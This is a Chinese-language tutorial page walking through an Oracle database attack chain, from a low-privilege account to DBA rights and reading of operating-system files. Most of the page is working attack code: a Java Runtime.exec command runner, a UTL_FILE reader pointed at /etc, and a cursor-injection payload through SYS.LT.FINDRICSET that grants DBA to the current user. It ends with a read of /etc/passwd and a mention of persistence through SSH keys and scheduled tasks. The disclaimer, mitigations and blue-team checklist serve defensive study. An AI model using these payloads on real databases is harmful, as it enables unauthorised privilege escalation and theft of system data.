首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫
您现在的位置: 程式碼之家 >> 數據庫知識 >  >> Oracle 資料庫 >> Oracle 資料庫基礎

Oracle 資料庫滲透測試實戰:從低權限提權到作業系統命令執行完整鏈路

     編輯:Oracle 資料庫基礎

⚠️ 嚴正聲明

本文僅供 **授權滲透測試、紅隊演練、安全教學** 參考。**未經書面授權對生產/他人系統實施攻擊屬違法行為**,嚴禁用於非法用途。所有技術細節旨在協助防禦者理解攻擊面、部署緩解措施。

攻擊前提與偵察

  • 已獲得低權限資料庫帳號 (非 DBA)。
  • 無法利用 `SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES` 等已知 CVE 提權。
  • 目標資料庫 `UTL_HTTP` 無法出網 (防火牆/ACL 限制)。
  • 當前用戶具備 `CREATE PROCEDURE` 權限 (關鍵突破口)。

提權鏈路完整複現

階段一:建立輔助函數獲取動態 SQL 執行能力

CREATE OR REPLACE FUNCTION linx_query (p VARCHAR2)
RETURN NUMBER AUTHID CURRENT_USER IS
BEGIN
  EXECUTE IMMEDIATE p;
  RETURN 1;
END;
/
-- 成功創建,確認具備動態 SQL 執行權限

階段二:嘗試 Java 擴展執行 OS 命令 (被阻擋)

CREATE OR REPLACE AND COMPILE JAVA SOURCE NAMED "LinxUtil" AS
import java.io.*;
public class LinxUtil extends Object {
  public static String runCMD(String args) {
    try {
      BufferedReader myReader = new BufferedReader(
        new InputStreamReader(Runtime.getRuntime().exec(args).getInputStream()));
      String stemp, str = "";
      while ((stemp = myReader.readLine()) != null) str += stemp + "\n";
      myReader.close(); return str;
    } catch (Exception e) { return e.toString(); }
  }
};
-- 權限授予 (需 DBA)
BEGIN dbms_java.grant_permission('PUBLIC','SYS:java.io.FilePermission','<>','execute'); END;
/
CREATE OR REPLACE FUNCTION LinxRunCMD(p_cmd IN VARCHAR2) RETURN VARCHAR2
AS LANGUAGE JAVA NAME 'LinxUtil.runCMD(java.lang.String) return String';
/
-- 結果:CREATE JAVA SOURCE 失敗,資料庫禁用 Java 載入或缺少 JServer 組件

階段三:轉向 UTL_FILE 讀取作業系統敏感檔案 (權限不足)

CREATE OR REPLACE FUNCTION LinxUTLReadfile(filename VARCHAR2) RETURN VARCHAR2 IS
  fHandler UTL_FILE.FILE_TYPE;
  buf VARCHAR2(4000);
  output VARCHAR2(8000);
BEGIN
  fHandler := UTL_FILE.FOPEN('UTL_FILE_DIR', filename, 'r');
  LOOP
    BEGIN
      UTL_FILE.GET_LINE(fHandler, buf);
      output := output || buf || CHR(10);
    EXCEPTION WHEN NO_DATA_FOUND THEN EXIT; END;
  END LOOP;
  UTL_FILE.FCLOSE(fHandler);
  RETURN output;
END;
/
-- 需先建立目錄物件 (需 CREATE ANY DIRECTORY 權限,通常無)
CREATE OR REPLACE DIRECTORY UTL_FILE_DIR AS '/etc';
-- 結果:權限不足,無法建立目錄物件

階段四:游標注入 (Cursor Injection) 繞過權限檢查,直接授予 DBA

利用 `SYS.LT.FINDRICSET` 等可注入 PL/SQL 程序單元的漏洞 (CVE-2006-XXXX 類),透過 `DBMS_SQL` 動態游標執行任意特權 SQL。

DECLARE
  myc NUMBER;
BEGIN
  myc := DBMS_SQL.OPEN_CURSOR;
  DBMS_SQL.PARSE(myc,
    'DECLARE PRAGMA AUTONOMOUS_TRANSACTION; ' ||
    'BEGIN EXECUTE IMMEDIATE ''GRANT DBA TO current_user''; COMMIT; END;',
    DBMS_SQL.NATIVE);
  -- 觸發注入點的脆弱程序 (示例為 LT.FINDRICSET)
  SYS.LT.FINDRICSET('''||DBMS_SQL.EXECUTE('||myc||')||''', 'x');
  RAISE NO_DATA_FOUND;
EXCEPTION
  WHEN NO_DATA_FOUND THEN NULL;
  WHEN OTHERS THEN NULL;
END;
/
-- 重新連線,當前用戶已具 DBA 權限

緩解措施:升級至 11.2.0.4/12.1.0.2+ 並應用 Critical Patch Update (CPU),移除 PUBLIC 對易受攻擊 PL/SQL 套件的 EXECUTE 權限,啟用 `O7_DICTIONARY_ACCESSIBILITY=FALSE`。

階段五:DBA 權限下完成 UTL_FILE 讀取 /etc/passwd 等敏感檔

CREATE OR REPLACE DIRECTORY UTL_FILE_DIR AS '/etc';
SELECT LinxUTLReadfile('passwd') FROM dual;
-- 獲取系統用戶清單,後續可構建 SSH 金鑰、排程任務等持久化手段

防禦檢查清單 (藍隊視角)

檢查項目風險加固建議
PUBLIC 對 DBMS_SQL / LT / DBMS_JAVA 等套件擁有 EXECUTE游標注入/JAVA 提權入口REVOKE EXECUTE ON pkg FROM PUBLIC; 僅授予必要角色
非 DBA 用戶擁有 CREATE PROCEDURE / CREATE JAVA SOURCE惡意程序單元植入最小權限原則,開發/測試帳號隔離
UTL_FILE_DIR / Directory 物件授權過寬任意檔案讀寫限制目錄路徑、僅授權特定帳號、啟用審計
資料庫版本未打 CPU / PSU已知 CVE 可被利用定期應用 Critical Patch Update,訂閱 Oracle Security Alert
網路層未限制資料庫出站連線UTL_HTTP/DBMS_NETWORK_ACL 可被濫用防火牆/ACL 僅允許必要目的地,預設拒絕

結語

此攻擊鏈展示了 **低權限 → 動態 SQL → 游標注入 → DBA → OS 檔案讀取** 的完整殺傷鏈。核心成因在於 **過度授權 (PUBLIC 權限)、未打補丁、缺乏最小權限原則**。防禦者應從帳號權限收斂、補丁管理、網路微隔離、審計監控四個維度構建纵深防禦。

  1. 上一篇文章:
  2. 下一篇文章:
Copyright © 程式碼之家 All Rights Reserved